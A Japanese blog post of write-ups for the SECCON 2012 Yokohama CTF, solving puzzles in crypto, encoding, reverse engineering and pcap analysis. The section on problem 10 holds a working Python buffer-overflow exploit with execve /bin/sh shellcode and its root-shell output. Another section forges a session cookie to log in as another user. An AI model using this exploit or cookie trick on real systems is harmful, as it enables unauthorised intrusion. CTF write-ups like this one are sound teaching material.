第4回 SECCON 横浜大会(関東地区)CTF
SECCON CTFの横浜大会に参加してきた。チームメンバーは、@yatuhataさん、@tanaproさん、@zuisouさん、@kusano_k(私)。結果は準優勝だった。
以下は各問題の解法と答え。分かるところのみ。
1 練習問題
書かれている答えをコピペするだけ。
答え
secconctf
2 NG大学システム管理者からの依頼
ウェブサービスにrootでログインし、鍵を奪取しろという問題。解けなかった。
LDAP認証のインジェクションらしい。全然分からないので勉強しよう……。
3 SHA-3は3倍早くない
会員制のウェブサービスの1人目の会員のパスワードを奪取しろという問題。
会員登録してログインすると、↓のようなCookieが設定される。
sid=; uid=10; NIST_SHA-3=1a192fabce13988b84994d4296e6cdc418d55e2f1d7f942188d4040b94fc57ac
NIST_SHA-3はuidのSHA-3ハッシュなので、
sid=; uid=1; NIST_SHA-3=c89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6
とすると1人目の会員としてログインできる。パスワードは表示されないが、ソースにハッシュ値が書かれている。
4 Happy Merry Christmas!!
問題ファイルは、VBScriptとしてもJScriptとしても実行できて結果が異なる。
''// Happy Merry Christmas!! ''// | ''// \ ' / ''// -- (*) -- ''// >*< ''// >0<@< ''// >>>@<<* ''// >@>*<0<<< ''// >*>>@<<<@<< ''// >@>>0<<<*<<@< ''// >*>>0<<@<<<@<<< ''// >@>>*<<@<>*<<0<*< ''// \*/ >0>>*<<@<>0><<*<@<< ''// ___\\U//___ >*>>@><0<<*>>@><*<0<< ''// |\\ | | \\| >@>>0<*<0>>@<<0<<<*<@<< ''// | \\| | _(UU)_ >((*))_>0><*<0><@<<<0<*< ''// |\ \| || / //||.*.*.*.|>>@<<*<<@>><0<<< ''// |\\_|_|&&_// ||*.*.*.*|_\\db//_ ''// """"|'.'.'.|~~|.*.*.*| ____|_ ''// |'.'.'.| ^^^^^^|____|>>>>>>| ''// ~~~~~~~~ '""""`------' ''// rem = then = function(){} x = 2 if( x = 2 ) then [ key="+xvxxLv9PMADxLP9Px1bxRTAAx0nxUzAAx07xRf9Fx0TxRf9E-" ] = "xxx" x="\"+"//":key="404GT44KT404Gq44Go44GT44KN044GnQ1RG44Go44GE440Gm44KL44Gw044G0C44GY44KD404Gq44GE0" '"',key=key.replace(/x/g,'/') WScript.Echo( key )
''// Happy Merry Christmas!! ''// | ''// \ ' / ''// -- (*) -- ''// >*< ''// >0<@< ''// >>>@<<* ''// >@>*<0<<< ''// >*>>@<<<@<< ''// >@>>0<<<*<<@< ''// >*>>0<<@<<<@<<< ''// >@>>*<<@<>*<<0<*< ''// \*/ >0>>*<<@<>0><<*<@<< ''// ___\\U//___ >*>>@><0<<*>>@><*<0<< ''// |\\ | | \\| >@>>0<*<0>>@<<0<<<*<@<< ''// | \\| | _(UU)_ >((*))_>0><*<0><@<<<0<*< ''// |\ \| || / //||.*.*.*.|>>@<<*<<@>><0<<< ''// |\\_|_|&&_// ||*.*.*.*|_\\db//_ ''// """"|'.'.'.|~~|.*.*.*| ____|_ ''// |'.'.'.| ^^^^^^|____|>>>>>>| ''// ~~~~~~~~ '""""`------' ''// rem = then = function(){} x = 2 if( x = 2 ) then [ key="+xvxxLv9PMADxLP9Px1bxRTAAx0nxUzAAx07xRf9Fx0TxRf9E-" ] = "xxx" x="\"+"//":key="404GT44KT404Gq44Go44GT44KN044GnQ1RG44Go44GE440Gm44KL44Gw044G0C44GY44KD404Gq44GE0" '"',key=key.replace(/x/g,'/') WScript.Echo( key )
はてなのコードの色づけ機能で何となく理解できる。
JScriptの結果は、
+/v//Lv9PMAD/LP9P/1b/RTAA/0n/UzAA/07/Rf9F/0T/Rf9E-
↓UTF-7として読む
No Love is needed
VBScriptの結果は、
404GT44KT404Gq44Go44GT44KN044GnQ1RG44Go44GE440Gm44KL44Gw044G0C44GY44KD404Gq44GE0
↓0を取り除く
44GT44KT44Gq44Go44GT44KN44GnQ1RG44Go44GE44Gm44KL44Gw44GC44GY44KD44Gq44GE
こんなところでCTFといてるばあじゃない
答え
こんなところでCTFといてるばあじゃない
5 動かした気になろう
PowerPCのELFファイルを実行して最後に出力される行を答えよという問題。実行する環境は無かったし、PowerPCのアセンブラは読むのが辛かったしで、解けなかった(´・ω・`)
QEMUでPowerPC環境を整えれば良いらしい。ここを参考にした。パスワードは、ここに書いてあるように、rootとuser。どうしてもネットワークに接続できなかったので、問題ファイルをCD-ROMイメージにしてマウントした。もっと良い方法は無いのか……。
root@debian-powerpc:~# ./mondai Hello Fukuoka Hello Kyutech
答え(たぶん)
Hello Kyutech
6 PEパズルに挑戦
First Accept。終了直前に出題された。PEファイルが9個のファイルに分割されていて、元に戻せという問題。
これが答えのはずはないだろうと思いながら、試してみるも、Wrong。しばらく試行錯誤しても、これしか出てこない……。
運営「答えの登録が間違っていました。ダメだった人はもう1回試してください」
( ´゚д゚`)エー
どう見ても、8.binが最初。サイズが中途半端なので1.binが最後。ファイルの先頭と末尾を見るに、2番目は4.binか6.binだけど、8.binのヘッダを見ると、0x2800で別のセッションになるので、0x800で区切れているように見える4.binが3番目。ということで、8, 6, 4, ?, ?, ?, ?, ?, 1。なぜか分からないけど、残りの部分はどうでも良い。0フィルでも動いた。
答え
aabbccddeeffgghh
8 パスワードを答えよ
exeファイルが渡されて、条件を満たすと「Congrats!」と表示されるので、その条件を調べる問題。exe自身のパスに対して、文字の置換と、0xab, 0xcd, 0xef, 0xab, 0xcd, 0xef, 0xab, …とのxorを3回繰り返しているので、逆算する。
A = [0xD4,0x46,0xF0,0x4F,0xB6,0x03,0x06,0xAA,0xFE,0x31,0xAE,0x8A] X = [0xab,0xcd,0xef,0xab,0xcd,0xef,0xab,0xcd,0xef,0xab,0xcd,0xef] S = [ 0x50,0x33,0x79,0xD1,0xED,0x5B,0x30,0x11,0x46,0xB0,0x8B,0xCA,0xDF,0x94,0x52,0xE7, 0x65,0x90,0xCD,0x40,0xD2,0x67,0x3F,0x37,0xFD,0x78,0xBE,0x0C,0x6F,0x7E,0x14,0xCB, 0x45,0x4A,0x48,0x22,0x92,0x61,0xF0,0xEF,0x44,0x56,0x82,0x3B,0x9B,0xB1,0x91,0x3A, 0xA5,0x72,0xAB,0x0A,0x5E,0xB2,0x75,0x51,0x8F,0xA6,0x6D,0xEA,0xBD,0xA8,0x42,0xAA, 0x69,0x38,0xA9,0xA0,0xD9,0x29,0x2D,0x34,0x6E,0xF2,0x3E,0x76,0x07,0x2E,0xEC,0x0E, 0xBF,0x43,0x5D,0x5A,0xE6,0xE3,0x4F,0xFB,0x4D,0x97,0x87,0x86,0x25,0x84,0x71,0x60, 0x4C,0xE4,0x1C,0x53,0x9E,0xC6,0x04,0xF1,0x4E,0xF6,0xD4,0x5C,0x1B,0x62,0xC0,0x93, 0x2F,0x0F,0xE5,0x7C,0x59,0xC3,0xC5,0x09,0xEE,0x70,0x8A,0x64,0xF3,0xCE,0xE0,0xC4, 0x2C,0xFE,0x7D,0xC9,0xC8,0x3D,0x19,0x98,0xD0,0xA3,0x54,0x49,0x2A,0x88,0xFC,0xB4, 0x10,0x36,0x2B,0xAC,0xC2,0x21,0x00,0x8D,0x68,0xFF,0x4B,0x7B,0x24,0xFA,0xF9,0x05, 0x6C,0x73,0xC1,0x0B,0x35,0x9A,0x18,0xEB,0x81,0x7F,0xCF,0xB5,0x7A,0x74,0xB9,0x63, 0xDD,0x32,0x16,0xDA,0xCC,0x27,0xA7,0x23,0x08,0xAE,0xD7,0x26,0x13,0x85,0xF5,0xD8, 0x8C,0xA4,0xBC,0x6A,0xE1,0x12,0x17,0x99,0x1F,0x47,0xC7,0x31,0x57,0x89,0xBA,0x58, 0x77,0xAD,0xB6,0x9F,0xD5,0x9D,0xB3,0x06,0xB7,0x1D,0xF8,0x15,0x9C,0x96,0xDE,0xA2, 0xDB,0x3C,0xAF,0x39,0xF4,0xE8,0xF7,0x83,0xA1,0x8E,0x28,0x66,0x5F,0xE9,0x6B,0x03, 0xB8,0x95,0xE2,0xDC,0xD6,0x41,0x1A,0xD3,0xBB,0x55,0x02,0x20,0x01,0x1E,0x0D,0x80 ] A = [A[i]^X[i] for i in range(len(A))] A = [S.index(a) for a in A] A = [A[i]^X[i] for i in range(len(A))] A = [S.index(a) for a in A] A = [A[i]^X[i] for i in range(len(A))] A = [S.index(a) for a in A] print "".join(chr(a) for a in A)
答え
7LSCaLL13aCK
10 サーバへ侵入せよ!(その弐)
バイナリファイルが渡されて、それが動いているサーバーに対して攻撃する問題。バイナリがFreeBSD用で手元にFreeBSDが無くて解けなかった。パズルのような問題よりこういう問題のほうが有意義だと思っているのに、解けなくて残念。あとで解こう。
追記。解いた。
渡されたプログラムをCで書くと、こんな感じ。
#include <stdio.h> #include <unistd.h> char f() { char t; if ( read(stdin,&t,1)!=1 ) t = '\0'; return t; } int main() { char buf[0x100]; int p=0; do { buf[p] = f(); p++; } while ( buf[p-1]!='\n' ); write(stdout,buf,p); return 0; }
bufがスタックオーバーフローする脆弱性がある。ただし、スタックにはカナリアがいて、単純には攻撃できない。スタックは次のようになっている。
ebp-010c: buf : ebp-0010: buf ebp-000c: p ebp-0008: カナリア ebp-0004: ebxの待避 ebp+0000: ebpの待避 ebp+0004: リターンアドレス
bufの直後にpがあるため、bufの0x101バイト目が例えばa(0x61)だったとすると、pが0x161となる。0x101バイト目を0x0fにすることでカナリアを書き換えずにリターンアドレスが上書きできる。このとき、ebpを待避した値も出力されるので、それを見るとスタックのだいたいのアドレスがわかる。細かい調節は面倒なので、NOPスライド。
このプログラムの入出力は標準入出力だから、inetdを使っていたのだと思う。192.168.107.130で持ち帰ってきたプログラムをinetdで動かしている。それを攻撃するスクリプト。
# coding: utf-8 import socket # FreeBSD/x86 - execv(/bin/sh) - 23 bytes # http://www.shell-storm.org/shellcode/files/shellcode-749.php shell = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68"+ "\x68\x2f\x62\x69\x6e\x89\xe3\x50"+ "\x54\x53\xb0\x3b\x50\xcd\x80") s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.107.130",8)) s.send( "a"*0x100+ "\x0f"+ # 以降のデータを0x110バイト目に書き込ませる "\x80\xed\xbf\xbf"+ # リターンアドレス "\x90"*0x100+ # NOP shell+ # シェルコード "\n") r = s.recv(0x1000) for i in range(len(r)): print "%02x"%ord(r[i]), if i%16==15: print print while True: s.send(raw_input(">")+"\n") print s.recv(0x1000)
実行の様子。
C:\documents\ctf\SECCON\2012yokohama\10>python attack.py 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 (略) 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 2c 02 00 00 95 94 50 33 54 ed bf bf f8 ec bf bf 80 ed bf bf 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 (略) 90 90 90 90 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 54 53 b0 3b 50 cd 80 0a >uname -a FreeBSD FreeBSD 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:15:25 UTC 2012 root@obrian.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 >ls -l total 137 -r--r--r-- 1 root wheel 6199 Jan 3 2012 COPYRIGHT drwxr-xr-x 2 root wheel 1024 Jan 3 2012 bin drwxr-xr-x 7 root wheel 1024 Jan 3 2012 boot dr-xr-xr-x 11 root wheel 512 Dec 24 11:14 dev drwxr-xr-x 20 root wheel 2048 Dec 24 03:37 etc -rw-r--r-- 1 root wheel 51 Dec 24 05:26 flag.txt lrwxr-xr-x 1 root wheel 8 Dec 24 11:12 home -> usr/home drwxr-xr-x 3 root wheel 1536 Jan 3 2012 lib drwxr-xr-x 3 root wheel 512 Jan 3 2012 libexec drwxr-xr-x 2 root wheel 512 Jan 3 2012 media drwxr-xr-x 2 root wheel 512 Jan 3 2012 mnt dr-xr-xr-x 2 root wheel 512 Jan 3 2012 proc drwxr-xr-x 2 root wheel 2560 Jan 3 2012 rescue drwxr-xr-x 2 root wheel 512 Dec 24 02:20 root drwxr-xr-x 2 root wheel 2560 Jan 3 2012 sbin lrwxr-xr-x 1 root wheel 11 Jan 3 2012 sys -> usr/src/sys drwxrwxrwt 6 root wheel 512 Dec 24 05:26 tmp drwxr-xr-x 16 root wheel 512 Dec 24 11:13 usr drwxr-xr-x 23 root wheel 512 Dec 24 11:14 var >cat flag.txt Honban no flag ga nandattanoka totemo kininaru...
本番の環境では、他に保護手段があったかもしれないけど、とりあえずデフォルト設定でインストールしたFreeBSDは攻略できた。
11 Find the key.
pcapファイルから鍵を探す問題。USBストレージの通信で、そんなの知らないよ(・3・)と諦めていたら、チームメンバーが解いてくれた。答えがそのままパケット中に出てくるらしい。
>strings -n8 7d157d658655465f35a6e06fc95b1446.pcap smiBUFFALO USB Flash Disk 4000i BUFFALO PNO NAME FAT32 BUFFALO PNO NAME FAT32 ( ULA TXT NS-HA~1PSD NS-TA~1PSD NS-01~1PSD NS-01~2PSD KEY TXT DAME BMP (&%HFEfdc (略) tLTB\M=@y #n"u}c]Y Haiyore! Yuzuharatan!
答え(たぶん)
Haiyore! Yuzuharatan!
12 pcapで遊ぼうシリーズ第n+3弾.
.pcapファイルが渡される。telnetで接続してcat key.txtをしているけど、その中身は答えではないらしい。
telnetの通信に紛れて、SYNしてすぐにRSTしている通信がある。そのSYNパケットのIPヘッダの識別子で1バイトずつ情報を送っている。何か変なパケットがあるなとは思っていたんだ……(負け惜しみ)。
import dpkt ans = "" for ts,buf in dpkt.pcap.Reader(open("q8.pcap","rb")): p = dpkt.ethernet.Ethernet(buf).data if p.data.flags==dpkt.tcp.TH_SYN: ans += chr(p.id>>8) print ans[1:]
答え(たぶん)
Packet de Ojam4?
13 Ascending Order
解けなかった。色々な言語で文字列を処理する関数が書かれたファイルが渡された。Ascending Orderとは何だろう……。
各処理をPythonで書き直したのがこんな感じ。lenはstrの長さであることを仮定している。
#coding: utf-8 str = "SECCONCTF" len = 9 # BASIC H="*********" # H=str print "".join(h.lower() if h.isupper() else h.upper() for h in H) # C def foobar(str,len): return "".join("ZIJKLMNOPQRSTUVWXYABCDEFGH"[ord(x)-ord("A")] for x in str) # Python(そのまま) def foobar(str, len): retstr = ""; str = "Z" + str sptstr = str[:-1].split("A") for s in sptstr: tmp = "" for ss in s: tmp = ss + tmp retstr = tmp + retstr return retstr + "Z" # なでしこ def foobar(key,len): # ●文字列変換({参照渡し}キー, 長さ) return key[::-1] # PHP def foobar(str,len): str = "".join(x.lower() if i==0 else x.upper() for i,x in enumerate(str)) if len%2==0: str = str.encode("rot13") return str # Lua def foobar(str,len): i,j = 0,len-1 ret = "" while i<j: ret += str[i]+str[j] i+=1; j-=1 if len%2==1: ret += str[len/2] return ret # アセンブラ(ARM) # R1 = strlen(str) # R2 = str # と書かれているけど # R0 = str # が正しいと思う def foobar(str,len): return "".join(sorted(list(str)))
それぞれの関数の戻り値を昇順に並べて何かするのか、関数の出力を別の関数の入力渡して〜と処理するのか、あるいは昇順に並べる処理をしている「ARM」が正解なのか。解いたチームはいなかったはずなので、もはや答えは闇の中……。
14 「私のパソコンのマウスが勝手に動くんですよ!」
実行するとメモ帳が立ち上がりマウスがぐるぐる回るプログラムが渡された。クリックしながら回っているようなので、ペイントを下に置くと答えが出てくる。
答え
萌
17 ブレイキング・ザ・コード(祖母からの手紙)
First Accept。RSAの数式が書かれた写真と数字が並んだファイルが渡される。1バイトずつ暗号化しているので、真面目にRSAを解かなくても、各文字を暗号化した数字を予め計算しておけば良い。
E = [pow(x,68081,17777777) for x in range(256)] a = "" for c in open("crypted.txt").read().split(",")[:-1]: a += chr(E.index(int(c))) print a
答え
RSa_iS_FantasTic_AlgoriThm
18 ファイルの中にあるメッセージに答えよ
Excelファイルが渡される。解けなかった。
19 Find the key!?
解けなかった。Windows 8のWindowsストアアプリの解析。黒地に黒文字で答えが書いてある。アプリを動かして答えを得ようとすると、有効な署名が必要でけっこう面倒。
とりあえず自分で一度Windowsストアアプリを作ってインストールする。作ったアプリのプロジェクトフォルダから、????_TemporaryKey.pfxをコピーしておく。PowerShellを立ち上げて、
PS C:\Users\????\Desktop> makeappx.exe unpack /p .\FindTheKey_1.0.0.1_AnyCPU.appx /d aaa Microsoft (R) MakeAppx Tool version 1.0.0.0 Copyright (C) 2012 Microsoft. All rights reserved. The package path (/p) parameter is: ".\FindTheKey_1.0.0.1_AnyCPU.appx" The output directory (/d) parameter is: "aaa" Unpacking ".\FindTheKey_1.0.0.1_AnyCPU.appx" (package name) to "aaa" (output directory). Extracting file AppxManifest.xml to aaa\AppxManifest.xml Extracting file AppxBlockMap.xml to aaa\AppxBlockMap.xml Extracting file AppxSignature.p7x to aaa\AppxSignature.p7x Extracting file AppxMetadata\CodeIntegrity.cat to aaa\AppxMetadata\CodeIntegrity.cat Extracting file App.xaml to aaa\App.xaml Extracting file Assets\Logo.png to aaa\Assets\Logo.png Extracting file Assets\SmallLogo.png to aaa\Assets\SmallLogo.png Extracting file Assets\SplashScreen.png to aaa\Assets\SplashScreen.png Extracting file Assets\StoreLogo.png to aaa\Assets\StoreLogo.png Extracting file Common\StandardStyles.xaml to aaa\Common\StandardStyles.xaml Extracting file FindTheKey.exe to aaa\FindTheKey.exe Extracting file MainPage.xaml to aaa\MainPage.xaml Extracting file resources.pri to aaa\resources.pri Package extraction succeeded. PS C:\Users\??????\Desktop>
で、appxを展開。文字の色を白にするため、MainPage.xamlの11行目を
<Path Fill="White" Render〜
と書き換える。Manifestの名前と証明書の名前が一致していないと署名に失敗するので、AppxManifest.xmlの10行目のPublisherを「CN=(自分の名前)」にする。あとはパックして、署名して、インストール。
PS C:\Users\??????\Desktop> makeappx.exe pack /p .\FindTheKey_1.0.0.1_AnyCPU_2.appx /d aaa Microsoft (R) MakeAppx Tool version 1.0.0.0 Copyright (C) 2012 Microsoft. All rights reserved. The package path (/p) parameter is: ".\FindTheKey_1.0.0.1_AnyCPU_2.appx" The content directory (/d) parameter is: "aaa" Enumerating files from directory "aaa" MakeAppx : warning: Ignoring footprint file "AppxBlockMap.xml". MakeAppx : warning: Ignoring footprint file "AppxMetadata\CodeIntegrity.cat". MakeAppx : warning: Ignoring footprint file "AppxSignature.p7x". Packing 10 file(s) in "aaa" (content directory) to ".\FindTheKey_1.0.0.1_AnyCPU_2.appx" (package name). Using "aaa\AppxManifest.xml" as the manifest for the package. Adding "aaa\App.xaml" to the package as a payload file. Its path in the package is "App.xaml". Adding "aaa\Assets\Logo.png" to the package as a payload file. Its path in the package is "Assets\Logo.png". Adding "aaa\Assets\SmallLogo.png" to the package as a payload file. Its path in the package is "Assets\SmallLogo.png". Adding "aaa\Assets\SplashScreen.png" to the package as a payload file. Its path in the package is "Assets\SplashScreen. png". Adding "aaa\Assets\StoreLogo.png" to the package as a payload file. Its path in the package is "Assets\StoreLogo.png". Adding "aaa\Common\StandardStyles.xaml" to the package as a payload file. Its path in the package is "Common\StandardSt yles.xaml". Adding "aaa\resources.pri" to the package as a payload file. Its path in the package is "resources.pri". Adding "aaa\FindTheKey.exe" to the package as a payload file. Its path in the package is "FindTheKey.exe". Adding "aaa\MainPage.xaml" to the package as a payload file. Its path in the package is "MainPage.xaml". Package creation succeeded. PS C:\Users\??????\Desktop> signtool.exe sign /a /v /fd SHA256 /f .\App1_TemporaryKey.pfx .\FindTheKey_1.0.0.1_AnyCPU_2. appx The following certificate was selected: Issued to: ?????? Issued by: ?????? Expires: Tue Dec 24 04:11:39 2013 SHA1 hash: EA8FC67215D7B7951F3A3AD96A60AF09EFF4E9F8 Done Adding Additional Store Successfully signed: .\FindTheKey_1.0.0.1_AnyCPU_2.appx Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0 PS C:\Users\??????\Desktop> Add-AppxPackage .\FindTheKey_1.0.0.1_AnyCPU_2.appx PS C:\Users\??????\Desktop>
スタート画面から、FindTheKeyを開くと答えが表示される。
新しくWPFアプリケーションを作って、↓のようにxamlを書き換えたほうが楽だし、Windows 8もVisual Studio 2012も不要。Dataの値はCommon/StandardStyles.xamlの1713行目の値をコピペ。
<Window x:Class="WpfApplication1.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Title="MainWindow" Height="350" Width="525"> <Grid> <Viewbox> <Path Fill="Black" RenderTransformOrigin="0.5,0.5" Stretch="Fill" UseLayoutRounding="False" Data="〜"> </Path> </Viewbox> </Grid> </Window>
答え(たぶん)
hello xaml!
21 エミュレータの中を見てみよう
GXemul 0.6.0でMaltaというMIPSボード向けのFreeBSD/NetBSDカーネルを起動しようとするとコケるのを修正するにはどうすれば良い? という問題。ソースファイルとかは何も渡されなくて、インターネット上で探して、ファイル名と行番号を答える。
私は全然分からなかったけど、チームメイトが解いていたので後で訊いてみよう。
22 このゲームクリアできる?
First Accept。ASProtectでパックされたテトリスで100点以上を取る問題。100点以上を取ったときのスコアが答えらしい。1ライン1点なのでチートするまでも無いだろう……と思ったら、落下スピードが速くなって無理だった。
パッカーのデバッガ検知があるので、デバッガ無しでゲームを起動して、後からアタッチ。Immunity Debuggerを使った。Search for→Constantで100を検索すると、いかにもな処理が見つかる。
00401C90 |> \833D 901F8900>CMP DWORD PTR [891F90], 64 00401C97 |. 5E POP ESI 00401C98 |. 7D 3B JGE SHORT TETRISx.00401CD5 : : 00401CD5 |> C705 901F8900>MOV DWORD PTR [891F90], 12EBE5E 00401CDF |> 8BE5 MOV ESP, EBP 00401CE1 |. 5D POP EBP 00401CE2 \. C3 RETN
答え
19840606
23 カタカナの暗号を解け
以下の30文字のカタカナは何だろうか? 【暗号文】 ミクカロミクカロ マルカイオンガンオン ペニボルカイコーヘルイン ガンポンナ ペ ノッマッ アンアーヘルマル ???????? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? ? ??? ? ? 【ヒント】 13128,13069,13128,13069,13126,13067,13065,13071,13065,13112,13118,13067,13086,13113,13061,13071,13120,13096,13111,13097,13125,13058,13059,13113,13126
ヒントの数字をUnicodeのコードとすると、
㍈㌍㍈㌍㍆㌋㌉㌏㌉㌸㌾㌋㌞㌹㌅㌏㍀㌨㌷㌩㍅㌂㌃㌹㍆
1行目が暗号文、2行目が答え。
ロンリーロンリークリスマスヒトリポツチマドノソトハペアルツク
まとめ
クリスマスネタがいっぱいだった(´・ω・`) 楽しいクリスマスだった(´・ω・`)